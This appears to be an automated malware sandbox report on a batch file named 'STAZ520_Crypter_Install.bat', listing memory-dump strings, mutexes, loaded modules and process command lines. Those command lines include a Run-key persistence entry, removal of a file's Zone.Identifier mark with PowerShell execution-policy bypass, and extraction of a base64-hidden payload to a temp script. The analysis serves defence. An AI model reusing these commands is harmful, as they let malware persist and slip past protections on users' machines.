"Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp, "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00003984.00000000.135868.82AB0000.00000004.mdmp, 00000000-00003984.00000001.136212.82AD9000.00000004.mdmp, "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00003984.00000000.135868.82AB0000.00000004.mdmp, 00000000-00003984.00000001.136212.82AD9000.00000004.mdmp, "o enable assembly bind failure logging set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00003984.00000000.135868.9CFB0000.00000004.mdmp, 00000000-00003984.00000001.136212.9CFC4000.00000004.mdmp, "o turn this feature off remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00003984.00000000.135868.9CFB0000.00000004.mdmp 00000000-00003984.00000001.136212.9CFC4000.00000004.mdmp36:T887,Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:2212:304:WilStaging_02" Process cmd.exe created mutex with name "Local\SM0:2212:304:WilStaging_02" Process cmd.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:3400:304:WilStaging_02" Process cmd.exe created mutex with name "Local\SM0:3400:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:1132:304:WilStaging_02" Process powershell.exe created mutex with name "\BaseNamedObjects\CLR_PerfMon_WrapMutex" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:1132:120:WilError_03" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:1132:120:WilError_03" Process powershell.exe created mutex with name "Local\SM0:1132:304:WilStaging_02" Process powershell.exe created mutex with name "Local\SM0:1132:120:WilError_03" Process powershell.exe created mutex with name "SM0:1132:120:WilError_03" Process reg.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:7468:304:WilStaging_02" Process reg.exe created mutex with name "Local\SM0:7468:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:3984:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:3984:120:WilError_03" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:3984:120:WilError_03" Process powershell.exe created mutex with name "Local\SM0:3984:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:3984:120:WilError_03" Process powershell.exe created mutex with name "Local\SM0:3984:120:WilError_03" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\a1804de5bb_Mtx" Process powershell.exe created mutex with name "Local\SM0:8016:304:WilStaging_02" Process powershell.exe created mutex with name "a1804de5bb_Mtx" Process powershell.exe created mutex with name "SM0:8016:120:WilError_03" Process powershell.exe created mutex with name "Local\SM0:8016:120:WilError_03"37:T466,Process "cmd.exe" with commandline "/c ""C:\\STAZ520_Crypter_Install.bat" "" (UID: 00000000-00002212) Process "cmd.exe" with commandline "/K "C:\\STAZ520_Crypter_Install.bat"" (UID: 00000000-00003400) Process "powershell.exe" with commandline "powershell -NoProfile -ExecutionPolicy Bypass -Command "Set-Content '%APPDATA%\\Microsoft\\118f410eb6ac\\e321775766cf4f3d.bat' -Stream Zone.Identifier -Value ''"" (UID: 00000000-00001132) Process "reg.exe" with commandline "reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v "731d8cc2b9" /t REG_SZ /d "cmd.exe /c \\"%APPDATA%\\Microsoft\\118f410eb6ac\\e321775766cf4f3d.bat\\"" /f" (UID: 00000000-00007468) Process "powershell.exe" with commandline "powershell -NoProfile -ExecutionPolicy Bypass -Command "try { $content = Get-Content -LiteralPath 'C:\\STAZ520_Crypter_Install.bat' -Raw -ErrorAction Stop; if ($content -match '::62051c48069357c8::([A-Za-z0-9+/=]+)') { [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($matches[1])) | Out-File -FilePath '%TEMP%\\ps_f8c40b9e.ps1' -Encoding UTF8 } } catch {}"" (UID: 00000000-00003984)38:Tb59,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135]39:T25b6,"o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00001132.00000000.134891.5C440000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00001132.00000000.134891.5C440000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00001132.00000000.134891.5C440000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001132.00000000.134891.5C440000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001132.00000000.134891.5C440000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001132.00000000.134891.5C440000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00001132.00000000.134891.76850000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00001132.00000001.135191.3E9F3000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00001132.00000001.135191.5C470000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00001132.00000001.135191.5C470000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00001132.00000001.135191.5C470000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001132.00000001.135191.5C470000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001132.00000001.135191.5C470000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00001132.00000001.135191.5C470000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00003984.00000000.135868.82AB0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00003984.00000000.135868.82AB0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00003984.00000000.135868.9CFB0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00003984.00000000.135868.9CFB0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00003984.00000001.136212.82AD9000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00003984.00000001.136212.82AD9000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00003984.00000001.136212.9CFC4000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00003984.00000001.136212.9CFC4000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00007468.00000000.135534.5AC00000.00000002.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE" in Source: 00000000-00007468.00000000.135534.5AC00000.00000002.mdmp "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "731d8cc2b9" /t REG_SZ /d "cmd.exe /c \"C:\Users\HAPUBWS\AppData\Roaming\Microsoft\118f410eb6ac\e321775766cf4f3d.bat\"" /f " in Source: 00000000-00007468.00000000.135534.F39A0000.00000004.mdmp "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00007468.00000000.135534.F39A0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00008016.00000000.136553.3E9F3000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00008016.00000000.136553.3E9F3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00008016.00000000.136553.3E9F3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00008016.00000000.136553.3E9F3000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00008016.00000000.136553.3E9F3000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00008016.00000000.136553.3E9F3000.00000002.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00008016.00000000.136553.8D400000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00008016.00000000.136553.8D400000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008016.00000000.136553.8D400000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008016.00000000.136553.8D400000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008016.00000000.136553.8D400000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00008016.00000001.138472.4443A000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00008016.00000001.138472.4443A000.00000002.mdmp "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\POLICY MANAGER" in Source: 00000000-00008016.00000001.138472.4443A000.00000002.mdmp "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER" in Source: 00000000-00008016.00000001.138472.4443A000.00000002.mdmp "Software\Microsoft\Windows Defender\MpEngine" in Source: 00000000-00008016.00000001.138472.4443A000.00000002.mdmp "Software\Microsoft\Windows Defender\Features" in Source: 00000000-00008016.00000001.138472.4443A000.00000002.mdmp "Software\Microsoft\Microsoft Antimalware\MpEngine" in Source: 00000000-00008016.00000001.138472.4443A000.00000002.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00008016.00000001.138472.4443A000.00000002.mdmp "HKLM\" in Source: 00000000-00008016.00000001.138472.4443A000.00000002.mdmp "Software\Microsoft\RemovalTools\MRT" in Source: 00000000-00008016.00000001.138472.4443A000.00000002.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00008016.00000001.138472.8D400000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00008016.00000001.138472.8D400000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008016.00000001.138472.8D400000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008016.00000001.138472.8D400000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008016.00000001.138472.8D400000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00008016.00000001.138472.A77B0000.00000004.mdmp "Software\Microsoft\Windows Defender\Features" in Source: 00000000-00008016.00000002.140393.5AC73000.00000002.mdmp "Software\Microsoft\Windows Defender\MpEngine" in Source: 00000000-00008016.00000002.140393.5AC73000.00000002.mdmp "Software\Microsoft\Microsoft Antimalware\MpEngine" in Source: 00000000-00008016.00000002.140393.5AC73000.00000002.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00008016.00000002.140393.8D400000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00008016.00000002.140393.8D400000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008016.00000002.140393.8D400000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-1271187874-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008016.00000002.140393.8D400000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00008016.00000002.140393.8D400000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00008016.00000002.140393.A77C9000.00000004.mdmp3a:T42cd,"cmd.exe" loaded module "KERNEL32" at base 7ffe69810000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffe68b00000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffe68b00000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffe68b00000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffe69590000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffe68b00000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffe68b00000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffe68b00000 "cmd.exe" loaded module "NTDLL.DLL" at base 7ffe6b670000 "cmd.exe" loaded module "KERNELBASE" at base 7ffe68b00000 "cmd.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7ffe67ae0000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7ffe69810000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffe68b00000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffe68b00000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffe68b00000 "powershell.exe" loaded module "KERNEL32" at base 7ffe69810000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ffe69810000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ffe699f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffe437c0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ffe69af0000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffe67ae0000 "powershell.exe" loaded module "VERSION.DLL" at base 7ffe5dfd0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffe393d0000 "powershell.exe" loaded module "USER32.DLL" at base 7ffe69fa0000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffe68b00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffe43860000 "powershell.exe" loaded module "NTDLL" at base 7ffe6b670000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffe69b50000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ffe69470000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\3B9003E4F27D92E40668F0EFAD11E022\MSCORLIB.NI.DLL" at base 7ffe36fb0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "OLE32.DLL" at base 7ffe6aae0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffe69b50000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ffe6a2b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\CE0FD4F5B50BAA17E7B80E4EE874AD11\SYSTEM.NI.DLL" at base 7ffe36160000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\990501E6199819806F01C8ECAC88BAAC\SYSTEM.CORE.NI.DLL" at base 7ffe356d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\86AF2F4F2745738837C95F24472C32CA\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffe27f30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffe67a50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffe691e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\EA893D7E336A196C927C3F1251A1D1A9\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffe25eb0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 7ffe69b50000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffe69b50000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 7ffe6b670000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "PSAPI.DLL" at base 7ffe6a8d0000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ffe6ae30000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WINTRUST.DLL" at base 0 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ffe68a90000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffe5acc0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffe69260000 "powershell.exe" loaded module "WLDP.DLL" at base 7ffe68280000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffe5dfd0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPOAV.DLL" at base 7ffe5ac40000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ffe42ec0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ffe429b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPXSIP.DLL" at base 7ffe40670000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PWRSHSIP.DLL" at base 7ffe57aa0000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ffe69260000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\XAL31VZU.DLL" at base 7ffe408c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\2A25B59872A72DA9B55F952AB1B0BC8B\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffe25d70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\F4889FA032F8023FE280A54700D6D3A5\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffe25cd0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\6287E09015A311A64C4FE0304818F8C3\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffe25b60000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\F0078C8C05B31633E5966C5629E65602\SYSTEM.XML.NI.DLL" at base 7ffe252b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\2D1FF2AB3131DE6A507F22CCC53B273A\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffe25140000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\VERSION.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\BF3D2E6042D943E0FEC9CCC0D72C8F3B\SYSTEM.DATA.NI.DLL" at base 7ffe247b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffe24440000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ffe68370000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffe68b00000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffe40bb0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\49750EA038273F75321E479EF1525D1E\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffe38d90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\DD0ED795D7234A2AE4314DE052867161\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffe24360000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffe3bbe0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base 7ffe5cf00000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ffe67d30000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffe660c0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPCLIENT.DLL" at base 7ffe44370000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffe69810000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffe699f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "powershell.exe" loaded module 